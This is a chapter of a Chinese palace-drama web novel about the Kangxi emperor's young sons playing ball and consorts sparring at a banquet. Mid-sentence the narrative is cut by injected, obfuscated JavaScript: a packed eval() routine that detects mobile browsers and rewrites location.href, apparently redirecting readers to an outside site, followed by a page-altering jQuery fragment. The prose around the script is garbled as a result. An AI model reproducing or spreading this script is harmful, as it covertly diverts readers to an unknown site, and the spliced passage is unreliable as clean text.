“起来吧,”康熙迈步走近,摸了摸太子脸颊,又揉了揉保清头顶,柔声询问,“刚刚保成和保清是在一起玩皮球吗?” 保成是太子的乳名。 保清也是现在才知道太子弟弟原来不叫太子,而是叫保成。 一听就和他是兄弟。 太子听到皇阿玛叫自己名字,点头,笑容甜甜的,“五哥教我,滚皮球。” 说着还抬起小手,模仿了一个推的动作。 保清也在一个劲儿点头,“皇阿玛,太子弟弟可聪明了,刚开始还会推过劲,我教了他两次,他一下子就学会了!” 他说这话时,里面带着哥哥的骄傲。 太子弟弟,聪明! 这场面,兄友弟恭,谁来了不说一句兄弟关系和谐。 康熙显然也很满意。 宫里现在就三个阿哥,兆祥所的九阿哥生来就有些体弱,病了一番之后更要精细养着,他甚至都不敢去看,怕投入太多感情。 只有保清和太子,一个五岁,一个三岁,时常能见到,又一个是长子一个是嫡子。 他们两个感情好那是再好不过的事了。 经过回宫后的相处,阿玛在保清心里不再是一个符号,面对康熙时也亲近了许多。 想起记忆里允瑞偶尔求他阿玛的样子,保清抱住了康熙的大腿,仰头看着他,“皇阿玛,之后还可以找太子弟弟一起玩吗?” 现在保清正是对这个弟弟最稀罕的时候。 一个活的,乖乖的,会叫他哥哥的弟弟诶! - 与之相比,妃嫔之间的气氛就不是那么好了。 她们的座位都是皇后安排的,按照请安时的次序排列。 宴会上的菜肴也就那样,看起来精致,实际上能吃的只有几道冷盘,还有点心。 不能安心吃菜,便只能寻些话头聊天。 正好云筠身旁就是僖嫔。 一共七个嫔位,安嫔敬嫔端嫔这三个排前面的都寡言少语,就像端庄的佛像,僖嫔招惹过一次后也觉得没意思,渐渐也就不去嘴欠了。 谁想戳不会动癞蛤蟆似的。 荣嫔与宜嫔,一个是前宠妃,一个是现宠妃,都不是什么任人拿捏的软柿子,一般都是她们二人与僖嫔你来我往,占嘴上功夫,是请安时的保留项目。 不过今天有王府的福晋,还有大臣家眷,不宜挑事。 僖嫔这点面子还是要给皇后的。 唯有云筠,恰好坐在僖嫔身旁,两人既不算亲近,也无过节,平日里见面不过是点头问好,正是僖嫔此刻能搭话的最佳人选。 于是僖嫔就逮着云筠一顿聊。 从衣服首饰到袖口花纹,从妃嫔闲话到诗歌文字,连育儿经都能说上两句。 云筠一边端着得体的微笑,一边心想。 难怪纳喇贵人和僖嫔最初玩得好,这话多的简直一模一样,不用她附和都能一直说。 倒是不知怎么惹了宜嫔的眼,“是宴上的菜肴不合僖嫔妹妹口味吗?怎么还没有见过妹妹动筷?” 以往都是僖嫔主动挑事来着。 僖嫔也没有想到还有人主动上来找麻烦,这个人还是和她一直不对付的宜嫔。 不过这么想也对。 宜嫔和她不对付可不得上来找麻烦吗? 僖嫔皮笑肉不笑,“怎么会,菜肴都是皇后娘娘过问后仔细安排的,只是方才和惠嫔姐姐聊得入神,倒忘了动筷。” “哦?”宜嫔学着僖嫔之前的样子装疑惑,“倒是不知僖嫔妹妹与惠嫔姐姐关系要好,其实也不是什么大事,只是看着妹妹一直在自言自语,本宫有些好奇罢了。” 一通姐姐妹妹的,说得僖嫔哑口无言。 这是嘲讽她人缘不好呢。 她就知道宜嫔是个记仇的。 僖嫔内心火冒三丈。 不就是在第一次请安那会儿嘲讽了她和郭络罗庶妃吗,简直就是穷追不舍。 “惠嫔姐姐性子文静,不爱说话,所以本宫话就稍微多了些,想陪姐姐解解闷罢了,”僖嫔牙齿都要咬碎了。 但是现在皇后还在上面坐着,她也不能和宜嫔闹起来。 给她等着。 僖嫔隔空瞪着宜嫔。 宜嫔回了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325816|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个笑容,慢悠悠说道,“原来如此,是本宫多心了,妹妹既有这份心意,倒也是件好事。” 云筠听到僖嫔哼了一声,像是不满的样子。 估计是在对宜嫔不满吧。 她慢悠悠地喝了一口茶,完全不将僖嫔那声冷哼放在心里。 不过僖嫔估计也是被宜嫔气到了,接下来的时间一个劲儿吃菜。 倒是让云筠耳边清净了。 - 终于结束了一天的繁忙。 虽然具体也没做什么事,但云筠就觉得好累。 宫女伺候着她拆了头发,又换上简便的衣袍,云筠才感觉浑身的骨头都松了下来,询问道:“保清呢?” 茯苓回答:“五阿哥在西里间呢,膳房做了鸡丝面,阿哥现在正吃着。” 宴会上的菜都一样,保清正是长身体的年纪,估计没怎么吃饱。 云筠起身往西里间走,刚到门口,就见保清端着小碗咕噜咕噜。 一碗鸡丝面成功下肚,连口汤都不剩。 看来真的是饿狠了。 云筠走过去,在他身边坐下,顺手用绢帕擦去他嘴边的汤汁,“慢些吃,没人跟你抢。” 保清点头。 想起今日是他第一次独自参加宫中宴会,云筠心里难免有些惦记,“保清今天在宫里,有没有什么特别的事情发生呀?” 保清思索,“没有呀,就是跟皇玛嬷问了安,还等了皇阿玛,后来去登高了。” 说着,似乎是想起了什么,保清有些高兴,“额娘,我今天和太子弟弟一起玩了,我们玩皮球,太子弟弟还叫我五哥呢!” 太子? 云筠挑眉。 太子自小养在乾清宫,由康熙亲自照看,与后宫妃嫔的住处隔着远,平日里除了重大节庆,几乎没什么碰面的机会。 说起来,太子今年都三岁了,她竟连太子的模样都记不太清。 “太子弟弟长得可好看了,”保清见额娘感兴趣,说得更起劲了,小手比划着。 “他穿明黄色的衣服,上面有龙,我教他滚皮球,他一学就会,还说我厉害呢!”他说起太子时,语气里满是当哥哥的骄傲,小胸脯都微微挺着。 云筠静静听着,摸了摸保清的头顶,柔声问:“那太子弟弟待你好吗?有没有人欺负你呀?” “没有!太子弟弟可乖了,”保清摇摇头,又想起什么,补充道,“皇阿玛说之后还可以和太子弟弟一起玩。”